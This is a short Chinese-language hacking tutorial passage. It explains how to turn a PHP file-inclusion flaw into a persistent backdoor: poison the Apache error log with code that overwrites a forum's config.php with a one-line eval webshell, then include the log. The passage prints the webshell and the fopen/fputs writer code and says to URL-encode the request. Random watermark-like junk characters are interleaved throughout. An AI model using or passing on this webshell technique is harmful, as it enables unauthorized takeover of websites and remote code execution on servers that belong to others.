因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 * O- s3 Q' X! q8 s
, h& M2 v* Z; ^4 e) ~
比如还是这句一句话木马 * [! Z( q% W: l
<?eval($_POST[cmd]);?>
; g6 H) G! t' p8 r+ Q+ l9 P8 B) ?# J! F% t7 e, \0 G
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, ' T& I/ G% p$ P4 H1 I- I$ U; p
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 $ s0 K& i8 L3 u
% |% c( h+ X p
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
/ v, i0 `9 A4 Q$ e* |) `fclose($fp);?> //在config.php里写入一句木马语句 & m% z; c+ F3 o) S/ u. G$ F4 @/ O
# c- h I% `% [/ B5 K& G我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
